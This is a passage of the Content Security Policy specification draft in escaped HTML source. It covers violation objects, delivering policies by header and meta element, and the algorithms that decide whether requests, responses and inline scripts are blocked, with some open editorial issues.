href=\"#issue-99576800\"></a> How, exactly, do we get the status code? We don’t actually store it\n  anywhere.</p>\n     <li data-md=\"\">\n      <p>Return <var>violation</var>.</p>\n    </ol>\n    <h4 class=\"heading settled\" data-algorithm=\"Create a violation object for request, policy, and directive\" data-level=\"2.3.2\" id=\"create-violation-for-request\"><span class=\"secno\">2.3.2. </span><span class=\"content\"> Create a violation object for <var>request</var>, <var>policy</var>, and <var>directive</var> </span><a class=\"self-link\" href=\"#create-violation-for-request\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>), and a string\n  (<var>directive</var>), the following algorithm creates a new <a data-link-type=\"dfn\" href=\"#violation\">violation</a> object,\n  and populates it with an initial set of data:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>violation</var> be the result of executing <a href=\"#create-violation-for-global\">§2.3.1 Create a violation object for global, policy, and directive</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\">client</a>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-global-object\">global object</a>, <var>policy</var>, and <var>directive</var>.</p>\n     <li data-md=\"\">\n      <p>Set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-resource\">resource</a> to <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\">url</a>.</p>\n      <p class=\"note\" role=\"note\">Note: We use <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\">url</a>, and <em>not</em> its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-current-url\">current url</a>, as the latter might contain information\n  about redirect targets to which the page MUST NOT be given access.</p>\n     <li data-md=\"\">\n      <p>Return <var>violation</var>.</p>\n    </ol>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"3\" id=\"policy-delivery\"><span class=\"secno\">3. </span><span class=\"content\"> Policy Delivery </span><a class=\"self-link\" href=\"#policy-delivery\"></a></h2>\n    <p>A server MAY declare a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> for a particular <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\">resource\n  representation</a> via an HTTP response header field whose value is a <a data-link-type=\"dfn\" href=\"#serialized-csp\">serialized CSP</a>. This mechanism is defined in detail in <a href=\"#csp-header\">§3.1 The Content-Security-Policy HTTP Response Header Field</a> and <a href=\"#cspro-header\">§3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field</a>, and the integration with Fetch\n  and HTML is described in <a href=\"#fetch-integration\">§4.1 Integration with Fetch</a> and <a href=\"#html-integration\">§4.2 Integration with HTML</a>.</p>\n    <p>A <a data-link-type=\"dfn\" href=\"#policy\">policy</a> may also be declared inline in an HTML document via a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element’s <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-http-equiv\">http-equiv</a></code> attribute, as described in <a href=\"#meta-element\">§3.3 The &lt;meta> element</a>.</p>\n    <h3 class=\"heading settled\" data-level=\"3.1\" id=\"csp-header\"><span class=\"secno\">3.1. </span><span class=\"content\"> The <code>Content-Security-Policy</code> HTTP Response Header Field </span><a class=\"self-link\" href=\"#csp-header\"></a></h3>\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"content-security-policy\"><code>Content-Security-Policy</code><a class=\"self-link\" href=\"#content-security-policy\"></a></dfn> HTTP response header field\n  is the preferred mechanism for delivering a policy from a server to a client.\n  The header’s value is represented by the following ABNF <a data-link-type=\"biblio\" href=\"#biblio-rfc5234\">[RFC5234]</a>:</p>\n<pre>Content-Security-Policy = 1#<a data-link-type=\"grammar\" href=\"#grammardef-serialized-policy\">serialized-policy</a>\n</pre>\n    <div class=\"example\" id=\"example-30ac7d45\">\n     <a class=\"self-link\" href=\"#example-30ac7d45\"></a> \n<pre><a data-link-type=\"dfn\" href=\"#content-security-policy\">Content-Security-Policy</a>: script-src 'self';\n                         report-to csp-reporting-endpoint\n</pre>\n    </div>\n    <p>A server MAY send different <code>Content-Security-Policy</code> header field\n  values with different <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\">representations</a> of the same resource.</p>\n    <p>A server SHOULD NOT send more than one HTTP response header field named\n  \"<code>Content-Security-Policy</code>\" with a given <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\">resource\n  representation</a>.</p>\n    <p>When the user agent receives a <code>Content-Security-Policy</code> header field, it\n  MUST <a data-link-type=\"dfn\" href=\"#parse-serialized-policy\">parse</a> and <a data-link-type=\"dfn\" href=\"#enforced\">enforce</a> each <a data-link-type=\"dfn\" href=\"#serialized-csp\">serialized CSP</a> it contains as described in <a href=\"#fetch-integration\">§4.1 Integration with Fetch</a>, <a href=\"#html-integration\">§4.2 Integration with HTML</a>.</p>\n    <h3 class=\"heading settled\" data-level=\"3.2\" id=\"cspro-header\"><span class=\"secno\">3.2. </span><span class=\"content\"> The <code>Content-Security-Policy-Report-Only</code> HTTP Response Header Field </span><a class=\"self-link\" href=\"#cspro-header\"></a></h3>\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"content-security-policy-report-only\"><code>Content-Security-Policy-Report-Only</code><a class=\"self-link\" href=\"#content-security-policy-report-only\"></a></dfn> HTTP response\n  header field allows web developers to experiment with policies by monitoring\n  (but not enforcing) their effects. The header’s value is represented by the\n  following ABNF <a data-link-type=\"biblio\" href=\"#biblio-rfc5234\">[RFC5234]</a>:</p>\n<pre>Content-Security-Policy-Report-Only = 1#<a data-link-type=\"grammar\" href=\"#grammardef-serialized-policy\">serialized-policy</a>\n</pre>\n    <p>This header field allows developers to piece together their security policy in\n  an iterative fashion, deploying a report-only policy based on their best\n  estimate of how their site behaves, watching for violation reports, and then\n  moving to an enforced policy once they’ve gained confidence in that behavior.</p>\n    <div class=\"example\" id=\"example-d1b5cb79\">\n     <a class=\"self-link\" href=\"#example-d1b5cb79\"></a> \n<pre><a data-link-type=\"dfn\" href=\"#content-security-policy-report-only\">Content-Security-Policy-Report-Only</a>: script-src 'self';\n                                     report-to csp-reporting-endpoint\n</pre>\n    </div>\n    <p>A server MAY send different <code>Content-Security-Policy-Report-Only</code> header field values with different <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\">representations</a> of the same\n  resource.</p>\n    <p>A server SHOULD NOT send more than one HTTP response header field named\n  \"<code>Content-Security-Policy-Report-Only</code>\" with a given <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\">resource\n  representation</a>.</p>\n    <p>When the user agent receives a <code>Content-Security-Policy-Report-Only</code> header\n  field, it MUST <a data-link-type=\"dfn\" href=\"#parse-serialized-policy\">parse</a> and <a data-link-type=\"dfn\" href=\"#monitored\">monitor</a> each <a data-link-type=\"dfn\" href=\"#serialized-csp\">serialized CSP</a> it contains as described in <a href=\"#fetch-integration\">§4.1 Integration with Fetch</a> and <a href=\"#html-integration\">§4.2 Integration with HTML</a>.</p>\n    <p class=\"note\" role=\"note\">Note: The <a data-link-type=\"dfn\" href=\"#content-security-policy-report-only\"><code>Content-Security-Policy-Report-Only</code></a> header is <strong>not</strong> supported inside a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.</p>\n    <h3 class=\"heading settled\" data-level=\"3.3\" id=\"meta-element\"><span class=\"secno\">3.3. </span><span class=\"content\"> The <code>&lt;meta></code> element </span><a class=\"self-link\" href=\"#meta-element\"></a></h3>\n    <p>A <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/dom.html#document\">Document</a></code> may deliver a policy via one or more HTML <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements\n  whose <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-http-equiv\">http-equiv</a></code> attributes are an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n  match</a> for the string \"<code>Content-Security-Policy</code>\". For example:</p>\n    <div class=\"example\" id=\"example-cff5e786\">\n     <a class=\"self-link\" href=\"#example-cff5e786\"></a> \n<pre>&lt;meta http-equiv=\"Content-Security-Policy\" content=\"script-src 'self'\">\n</pre>\n    </div>\n    <p>Implementation details can be found in HTML’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/#attr-meta-http-equiv-content-security-policy\"><code>Content-Security-Policy</code> <code>http-equiv</code> processing instructions</a> <a data-link-type=\"biblio\" href=\"#biblio-html\">[HTML]</a>.</p>\n    <p class=\"note\" role=\"note\">Note: The <a data-link-type=\"dfn\" href=\"#content-security-policy-report-only\"><code>Content-Security-Policy-Report-Only</code></a> header is <em>not</em> supported inside a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element. Neither are the <code>report-uri</code>, <code>frame-ancestors</code>, and <code>sandbox</code> directives.</p>\n    <p class=\"issue\" id=\"issue-6521ca1c\"><a class=\"self-link\" href=\"#issue-6521ca1c\"></a> Why <code>sandbox</code>? Can we loosen that?</p>\n    <p>Authors are <em>strongly encouraged</em> to place <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements as early\n  in the document as possible, because policies in <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> elements are not\n  applied to content which precedes them. In particular, note that resources\n  fetched or prefetched using the <code>Link</code> HTTP response header\n  field, and resources fetched or prefetched using <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code> and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements which precede a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code>-delivered policy will not be blocked.</p>\n    <p class=\"note\" role=\"note\">Note: A policy specified via a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element will be enforced along with\n  any other policies active for the protected resource, regardless\n  of where they’re specified. The general impact of enforcing multiple\n  policies is described in <a href=\"#multiple-policies\">§8.1 The effect of multiple policies</a>.</p>\n    <p class=\"note\" role=\"note\">Note: Modifications to the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-meta-content\">content</a></code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element\n  after the element has been parsed will be ignored.</p>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"4\" id=\"integrations\"><span class=\"secno\">4. </span><span class=\"content\">Integrations</span><a class=\"self-link\" href=\"#integrations\"></a></h2>\n    <p><em>This section is non-normative.</em></p>\n    <p>This document defines a set of algorithms which are used in other\n  specifications in order to implement the functionality. These\n  integrations are outlined here for clarity, but those external\n  documents are the normative references which ought to be consulted for\n  detailed information.</p>\n    <h3 class=\"heading settled\" data-level=\"4.1\" id=\"fetch-integration\"><span class=\"secno\">4.1. </span><span class=\"content\"> Integration with Fetch </span><a class=\"self-link\" href=\"#fetch-integration\"></a></h3>\n    <p>A number of <a data-link-type=\"dfn\" href=\"#directives\">directives</a> control resource loading in one way or\n  another. This specification provides algorithms which allow Fetch to make\n  decisions about whether or not a particular <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> should be blocked\n  or allowed, and about whether a particular <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> should be replaced\n  with a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-network-error\">network error</a>.</p>\n    <ol>\n     <li data-md=\"\">\n      <p><a href=\"#should-block-request\">§4.1.3 Should request be blocked by Content Security Policy?</a> is called as part of step #4 of its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#main-fetch\">Main\n  Fetch</a> algorithm.</p>\n     <li data-md=\"\">\n      <p><a href=\"#should-block-response\">§4.1.4 Should response to request be blocked by Content\n    Security Policy?</a> is called as part of step #12 of its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#main-fetch\">Main\n  Fetch</a> algorithm.</p>\n    </ol>\n    <p>A <a data-link-type=\"dfn\" href=\"#policy\">policy</a> is generally enforced upon a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a>, but the\n  user agent needs to <a data-link-type=\"dfn\" href=\"#parse-serialized-policy\">parse</a> any policy\n  delivered via an HTTP response header field before any <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a> is created in order to handle directives that require knowledge of a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a>’s details. To that end:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>A <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> has an associated <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\">CSP list</a> which\n  contains any policy objects delivered in the <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\">header list</a>.</p>\n     <li data-md=\"\">\n      <p><a href=\"#set-response-csp-list\">§4.1.1 Set response’s CSP list</a> is called in the <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#http-fetch\">HTTP fetch</a> and <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#http-network-fetch\">HTTP-network fetch</a> algorithms.</p>\n      <p class=\"note\" role=\"note\">Note: These two calls should ensure that a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\">CSP list</a> is set, regardless of how the <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> is created. If we hit the network (via <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#http-network-fetch\">HTTP-network\n  fetch</a>, then we parse the policy before we handle the <code>Set-Cookie</code> header. If we get a response from a Service Worker (via <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#http-fetch\">HTTP fetch</a>,\n  we’ll process its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\">CSP list</a> before handing the\n  response back to our caller.</p>\n    </ol>\n    <h4 class=\"heading settled\" data-algorithm=\"Set response’s CSP list\" data-level=\"4.1.1\" id=\"set-response-csp-list\"><span class=\"secno\">4.1.1. </span><span class=\"content\"> Set <var>response</var>’s <code>CSP list</code> </span><a class=\"self-link\" href=\"#set-response-csp-list\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> (<var>response</var>), this algorithm evaluates its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\">header list</a> for <a data-link-type=\"dfn\" href=\"#serialized-csp\">serialized CSP</a> values, and\n  populates its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\">CSP list</a> accordingly:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Set <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\">CSP list</a> to the\n  empty list.</p>\n     <li data-md=\"\">\n      <p>Let <var>policies</var> be the result of executing <a href=\"#parse-serialized-policy-list\">§2.1.2 Parse a serialized CSP list as disposition</a> on the result of <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-header-parse\">parsing</a> <code>Content-Security-Policy</code> in <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\">header list</a>, with a disposition\n  of \"<code>enforce</code>\".</p>\n     <li data-md=\"\">\n      <p>Append to <var>policies</var> the result of executing <a href=\"#parse-serialized-policy-list\">§2.1.2 Parse a serialized CSP list as disposition</a> on the result of <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-header-parse\">parsing</a> <code>Content-Security-Policy-Report-Only</code> in <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\">header list</a>, with a disposition of \"<code>report</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>policies</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Insert <var>policy</var> into <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\">CSP list</a>.</p>\n      </ol>\n    </ol>\n    <h4 class=\"heading settled\" data-algorithm=\"Report Content Security Policy violations for request\" data-level=\"4.1.2\" id=\"report-for-request\"><span class=\"secno\">4.1.2. </span><span class=\"content\"> Report Content Security Policy violations for <var>request</var> </span><a class=\"self-link\" href=\"#report-for-request\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>), this algorithm reports violations based\n  on <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\">client</a>’s \"report only\" policies.</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>CSP list</var> be <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\">client</a>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\">CSP list</a>.</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>CSP list</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\">disposition</a> is \"<code>enforce</code>\",\n  then skip to the next <var>policy</var>.</p>\n       <li data-md=\"\">\n        <p>Let <var>violates</var> be the result of executing <a href=\"#does-request-violate-policy\">§6.1.11.1 Does request violate policy?</a> on <var>request</var> and <var>policy</var>.</p>\n       <li data-md=\"\">\n        <p>If <var>violates</var> is not \"<code>Does Not Violate</code>\", then execute <a href=\"#report-violation\">§5.3 Report a violation</a> on the result of executing <a href=\"#create-violation-for-request\">§2.3.2 Create a violation object for request, policy, and directive</a> on <var>request</var>, <var>policy</var>, and <var>violates</var>.</p>\n      </ol>\n    </ol>\n    <h4 class=\"heading settled\" data-algorithm=\"Should request be blocked by Content Security Policy?\" data-level=\"4.1.3\" id=\"should-block-request\"><span class=\"secno\">4.1.3. </span><span class=\"content\"> Should <var>request</var> be blocked by Content Security Policy? </span><a class=\"self-link\" href=\"#should-block-request\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>), this algorithm returns <code>Blocked</code> or <code>Allowed</code> and reports violations based on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\">client</a>’s Content Security Policy.</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>CSP list</var> be <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\">client</a>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\">CSP list</a>.</p>\n     <li data-md=\"\">\n      <p>Let <var>result</var> be \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>CSP list</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\">disposition</a> is \"<code>report</code>\",\n  then skip to the next <var>policy</var>.</p>\n       <li data-md=\"\">\n        <p>Let <var>violates</var> be the result of executing <a href=\"#does-request-violate-policy\">§6.1.11.1 Does request violate policy?</a> on <var>request</var> and <var>policy</var>.</p>\n       <li data-md=\"\">\n        <p>If <var>violates</var> is not \"<code>Does Not Violate</code>\", then:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>Execute <a href=\"#report-violation\">§5.3 Report a violation</a> on the result of executing <a href=\"#create-violation-for-request\">§2.3.2 Create a violation object for request, policy, and directive</a> on <var>request</var>, <var>policy</var>, and <var>violates</var>.</p>\n         <li data-md=\"\">\n          <p>Set <var>result</var> to \"<code>Blocked</code>\".</p>\n        </ol>\n      </ol>\n     <li data-md=\"\">\n      <p>Return <var>result</var>.</p>\n    </ol>\n    <h4 class=\"heading settled\" data-algorithm=\"Should response to request be blocked by Content\n    Security Policy?\" data-level=\"4.1.4\" id=\"should-block-response\"><span class=\"secno\">4.1.4. </span><span class=\"content\"> Should <var>response</var> to <var>request</var> be blocked by Content\n    Security Policy? </span><a class=\"self-link\" href=\"#should-block-response\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> (<var>response</var>) and a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>), this algorithm returns <code>Blocked</code> or <code>Allowed</code>, and reports violations based on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\">client</a>’s Content Security Policy.</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>CSP list</var> be <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\">client</a>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\">CSP list</a>.</p>\n     <li data-md=\"\">\n      <p>Let <var>result</var> be \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>CSP list</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>For each <var>directive</var> in <var>policy</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If the result of executing <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\">post-request check</a> is \"<code>Blocked</code>\", then:</p>\n          <ol>\n           <li data-md=\"\">\n            <p>Execute <a href=\"#report-violation\">§5.3 Report a violation</a> on the result of executing <a href=\"#create-violation-for-request\">§2.3.2 Create a violation object for request, policy, and directive</a> on <var>request</var>, <var>policy</var>, and <var>directive</var>.</p>\n           <li data-md=\"\">\n            <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\">disposition</a> is \"<code>enforce</code>\",\n  then set <var>result</var> to \"<code>Blocked</code>\".</p>\n          </ol>\n        </ol>\n      </ol>\n      <p class=\"note\" role=\"note\">Note: This portion of the check verifies that the page can load the\n  response. That is, that a Service Worker hasn’t substituted a file which\n  would violated the page’s CSP.</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\">CSP list</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>For each <var>directive</var> in <var>policy</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If the result of executing <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-response-check\">response check</a> on <var>request</var>, <var>response</var>,\n  and <var>policy</var> is \"<code>Blocked</code>\", then:</p>\n          <ol>\n           <li data-md=\"\">\n            <p>Execute <a href=\"#report-violation\">§5.3 Report a violation</a> on the result of executing <a href=\"#create-violation-for-request\">§2.3.2 Create a violation object for request, policy, and directive</a> on <var>request</var>, <var>policy</var>, and <var>directive</var>.</p>\n           <li data-md=\"\">\n            <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\">disposition</a> is \"<code>enforce</code>\",\n  then set <var>result</var> to \"<code>Blocked</code>\".</p>\n          </ol>\n        </ol>\n      </ol>\n      <p class=\"note\" role=\"note\">Note: This portion of the check allows policies delivered with the\n  response to determine whether the response is allowed to be delivered.</p>\n     <li data-md=\"\">\n      <p>Return <var>result</var>.</p>\n    </ol>\n    <h3 class=\"heading settled\" data-level=\"4.2\" id=\"html-integration\"><span class=\"secno\">4.2. </span><span class=\"content\"> Integration with HTML </span><a class=\"self-link\" href=\"#html-integration\"></a></h3>\n    <ol>\n     <li data-md=\"\">\n      <p>The <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/dom.html#document\">Document</a></code> and <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/workers.html#workerglobalscope\">WorkerGlobalScope</a></code> objects have a <dfn data-dfn-for=\"global object\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"global-object-csp-list\">CSP list<a class=\"self-link\" href=\"#global-object-csp-list\"></a></dfn>,\n  which holds all the <a data-link-type=\"dfn\" href=\"#policy\">policy</a> objects which are active for a given\n  context. This list is empty unless otherwise specified, and is populated\n  via the <a href=\"#initialize-global-object-csp\">§4.2.2 Initialize a global object’s CSP list</a> algorithm.</p>\n     <li data-md=\"\">\n      <p>A <a data-link-type=\"dfn\" href=\"#policy\">policy</a> is <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"enforced\">enforced<a class=\"self-link\" href=\"#enforced\"></a></dfn> or <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"monitored\">monitored<a class=\"self-link\" href=\"#monitored\"></a></dfn> for an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a> by inserting it into the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\">CSP list</a>.</p>\n     <li data-md=\"\">\n      <p><a href=\"#initialize-global-object-csp\">§4.2.2 Initialize a global object’s CSP list</a> is called during the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/#initialising-a-new-document-object\">initialising a\n  new <code>Document</code> object</a> and <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/#run-a-worker\">run a worker</a> algorithms in order to\n  bind a set of <a data-link-type=\"dfn\" href=\"#policy\">policy</a> objects associated with a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> to a\n  newly created <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a>.</p>\n      <p class=\"issue\" id=\"issue-106a0c5c\"><a class=\"self-link\" href=\"#issue-106a0c5c\"></a> The algorithm is named \"creating a new <code>Document</code> object\" in W3C’s\n  HTML, and isn’t well-integrated with Fetch.</p>\n      <p class=\"issue\" id=\"issue-7fd49562\"><a class=\"self-link\" href=\"#issue-7fd49562\"></a> Need to monkey-patch these in: something like \"Set the <code>Window</code> object’s <code>CSP list</code> to the <code>CSP list</code> of the resource used to\n  generate the document.</p>\n     <li data-md=\"\">\n      <p><a href=\"#should-block-inline\">§4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?</a> is called during the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/scripting-1.html#prepare-a-script\">prepare a script</a> and <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/#update-a-style-block\">update a <code>style</code> block</a> algorithms in order to determine whether or\n  not an inline script or style block is allowed to execute/render.</p>\n      <p class=\"issue\" id=\"issue-f40dd242\"><a class=\"self-link\" href=\"#issue-f40dd242\"></a> The <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/#update-a-style-block\">update a <code>style</code> block</a> algorithm does not exist in\n  W3C’s HTML.</p>\n      <p class=\"issue\" id=\"issue-141323ad\"><a class=\"self-link\" href=\"#issue-141323ad\"></a> The <code>nonce</code> attribute for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> were added to\n  WHATWG’s HTML in <a href=\"https://github.com/whatwg/html/commit/882803c4cc8fba2fa5472b76f628d95cc82c421d\">whatwg/html@882803c</a>.\n  They have not yet been added to W3C’s HTML.</p>\n      <p class=\"issue\" id=\"issue-af0c6074\"><a class=\"self-link\" href=\"#issue-af0c6074\"></a> The <a href=\"#should-block-inline\">§4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?</a> hooks were added to WHATWG’s HTML in <a href=\"https://github.com/whatwg/html/commit/ee3486eb129bc350b5ca684d0c91dff23453ac1a\">whatwg/html@ee3486e</a>.\n  They aren’t yet in W3C’s HTML.</p>\n     <li data-md=\"\">\n      <p><a href=\"#should-block-inline\">§4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?</a> is called during handling of inline event\n  handlers (like <code>onclick</code>) and inline <code>style</code> attributes in order to\n  determine whether or not they ought to be allowed to execute/render.</p>\n      <p class=\"issue\" id=\"issue-73064ff2\"><a class=\"self-link\" href=\"#issue-73064ff2\"></a> This hook is in-flight for WHATWG’s HTML. <a 